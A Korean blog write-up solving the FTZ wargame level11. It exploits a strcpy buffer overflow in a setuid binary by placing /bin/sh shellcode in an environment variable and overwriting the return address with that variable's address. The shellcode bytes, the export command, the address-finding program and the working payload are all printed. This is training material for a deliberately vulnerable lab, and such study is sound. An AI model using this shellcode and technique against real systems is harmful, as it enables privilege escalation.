FTZ level11 #1 ( 환경 변수 )

c0wb3ll ㅣ 2020. 3. 3. 05:39

FTZ Level11 #1 ( 환경 변수 )

문제

#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] )
{
    char str[256];

    setreuid( 3092, 3092 );
    strcpy( str, argv[1] );
    printf( str );
}

FTZ level 11의 소스코드이다. 이 소스코드에서 취약한 점을 발견하여 상위권한( level12 )을 얻어 비밀번호를 알아내야 한다.


취약점

int main( int argc, char *argv[] )
{
    char str[256];

    #setreuid( 3092, 3092 );
    strcpy( str, argv[1] );
    #printf( str );
}
  1. 인자 입력은 argv로 받는다. 또한 길이의 제한은 없다.
  2. str 의 크기는 256이다.
  3. strcpy() 함수를 통해 argv에서 입력받은 인자를 str로 가져온다. 정해진 최대 바이트는 없다.

따라서 argv에서 인자 입력을 할 때 256byte 이상의 문자열을 입력하면 str의 버퍼 크기를 넘어 메모리를 덮어씌울 수 있다.


공격 시나리오

level11은 취약한 부분이 많아서 다양한 공격을 할 수 있는 레벨이다.

  1. 환경 변수를 이용한 공격
  2. Nop Sled 기법을 이용한 공격
  3. RTL 기법을 이용한 공격
  4. Chanining RTL 기법을 이용한 공격
  5. FSB ( Format String Bug )를 이용한 공격

이번 포스팅엔 환경 변수를 이용한 공격만 한 뒤 다른 시나리오들은 학습이 완료되고 내가 게으르지 않다면 계속해서 올라올 것이다.


환경 변수

환경 변수 : 환경 변수란 프로세스가 컴퓨터에서 동작하는 방식에 영향을 미치는 동적인 값들의 모임으로 쉘에서 정의되고 실행하는 동안 프로그램에 필요한 변수를 나타냄.

설명하자면 OS가 필요한 것들을 메모리에 등록하고 필요할 때마다 참조하는 영역이다. 일반 사용자 또한 등록할 수 있어서 환경변수에 쉘코드를 등록한 뒤 ret값에 우리가 등록한 쉘코드의 주소 즉, 환경변수의 주소를 올려주면 되겠다.

image

참고로 환경변수로 등록할 쉘코드는 직접 만들어도 되지만 구글에 검색하면 많이 나온다.

환경 변수를 등록하는 방법은

export [환경변수 명]=필요한 정보

로 등록할 수 있다.

우리가 사용할 방식은

export [환경변수 명]=$(python -c 'print "SHELLCODE"')

로 $는 경로를 의미하며 위와 같은 방식으로 쉘코드를 등록시킬 것이다.


풀이

[level11@ftz level11]$ ls
attackme hint public_html tmp
[level11@ftz level11]$ gdb attackme 
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) set disassembly-flavor intel
(gdb) i fu
All defined functions:

Non-debugging symbols:
0x080482e4  _init
0x0804830c  __register_frame_info
0x0804831c  __deregister_frame_info
0x0804832c  __libc_start_main
0x0804833c  printf
0x0804834c  setreuid
0x0804835c  strcpy
0x08048370  _start
0x08048394  call_gmon_start
0x080483c0  __do_global_dtors_aux
0x08048420  fini_dummy
0x08048430  frame_dummy
0x08048460  init_dummy
0x08048470  main
0x080484c0  __do_global_ctors_aux
0x080484f0  init_dummy
0x08048500  _fini

별 특별한 건 없으니 main을 까자

(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>:    push   ebp
0x08048471 <main+1>:    mov    ebp,esp
0x08048473 <main+3>:    sub    esp,0x108
0x08048479 <main+9>:    sub    esp,0x8
0x0804847c <main+12>:    push   0xc14
0x08048481 <main+17>:    push   0xc14
0x08048486 <main+22>:    call   0x804834c <setreuid>
0x0804848b <main+27>:    add    esp,0x10
0x0804848e <main+30>:    sub    esp,0x8
0x08048491 <main+33>:    mov    eax,DWORD PTR [ebp+12]
0x08048494 <main+36>:    add    eax,0x4
0x08048497 <main+39>:    push   DWORD PTR [eax]
0x08048499 <main+41>:    lea    eax,[ebp-264]
0x0804849f <main+47>:    push   eax
0x080484a0 <main+48>:    call   0x804835c <strcpy>
0x080484a5 <main+53>:    add    esp,0x10
0x080484a8 <main+56>:    sub    esp,0xc
0x080484ab <main+59>:    lea    eax,[ebp-264]
0x080484b1 <main+65>:    push   eax
0x080484b2 <main+66>:    call   0x804833c <printf>
0x080484b7 <main+71>:    add    esp,0x10
0x080484ba <main+74>:    leave  
0x080484bb <main+75>:    ret    
0x080484bc <main+76>:    nop    
0x080484bd <main+77>:    nop    
0x080484be <main+78>:    nop    
0x080484bf <main+79>:    nop    
End of assembler dump.
(gdb) 

strcpy로 [ebp-264]부터 채워나가는 것을 보니 대략 메모리 구조는 이렇게 되어있을 것이다.

image

따라서 우리는 A를 268byte 만큼 채운뒤 RET주소를 변조해주면 되겠다.

<shellCode>
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

우리가 사용할 쉘코드이다.

[level11@ftz level11]$ export env=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

나는 환경변수 명을 env로 지정해주었다.

[level11@ftz tmp]$ export
declare -x BASH_ENV="/home/level11/.bashrc"
declare -x G_BROKEN_FILENAMES="1"
declare -x HISTSIZE="1000"
declare -x HOME="/home/level11"
declare -x HOSTNAME="ftz.hackerschool.org"
declare -x INPUTRC="/etc/inputrc"
declare -x LANG="en_US.UTF-8"
declare -x LESSOPEN="|/usr/bin/lesspipe.sh %s"
declare -x LOGNAME="level11"
declare -x LS_COLORS="no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32:*.sh=00;32:*.csh=00;32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:"
declare -x MAIL="/var/spool/mail/level11"
declare -x OLDPWD="/home/level11"
declare -x PATH="/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/level11/bin"
declare -x PS1="[\\u@\\h \\W]\$ "
declare -x PWD="/home/level11/tmp"
declare -x SHELL="/bin/bash"
declare -x SHLVL="1"
declare -x SSH_CLIENT="192.168.193.1 53846 22"
declare -x SSH_CONNECTION="192.168.193.1 53846 192.168.193.129 22"
declare -x SSH_TTY="/dev/pts/0"
declare -x TERM="xterm"
declare -x USER="level11"
declare -x env="1육1??횋?육F?1픐h//shh/bin??S??柰
                                                      ?"

환경변수가 잘 지정됬는지 확인하려면 export명령어를 쳐주면 된다.

env라는 변수명으로 잘 지정된 것을 확인할 수 있다.

좋다. 이제 환경변수를 지정하여 쉘코드를 올렸는데 주소는 어디로 변조해야 하냐를 물어야한다.

getenv("환경변수명")

c언어에서는 다음과 같은 함수를 통해 환경변수의 주소를 알아낼 수 있다.

[level11@ftz tmp]$ vim addenv.c
#include <stdio.h>

int main() {
    printf("%p\n", getenv("env"));
    return 0;
}
[level11@ftz tmp]$ gcc -o addenv addenv.c
[level11@ftz tmp]$ ./addenv
0xbfffff51
[level11@ftz tmp]$ 

다음과 같이 컴파일 해준 후 프로그램을 실행시키면 다음과 같이 env라는 환경변수의 주소를 뱉는것을 확인할 수 있다. 나의 경우에는 env의 주소가 0xbfffff51 이였다. 그럼 이제 페이로드를 짜보자.

[level11@ftz level11]$ ./attackme `python -c 'print "A"*268 + "\x51\xff\xff\xbf"'`
sh-2.05b$ my-pass
TERM environment variable not set.

Level12 Password is "패스워드비밀번호".

sh-2.05b$ 

다음 시간엔 아마 놉슬레드로 풀지 않을까 싶다.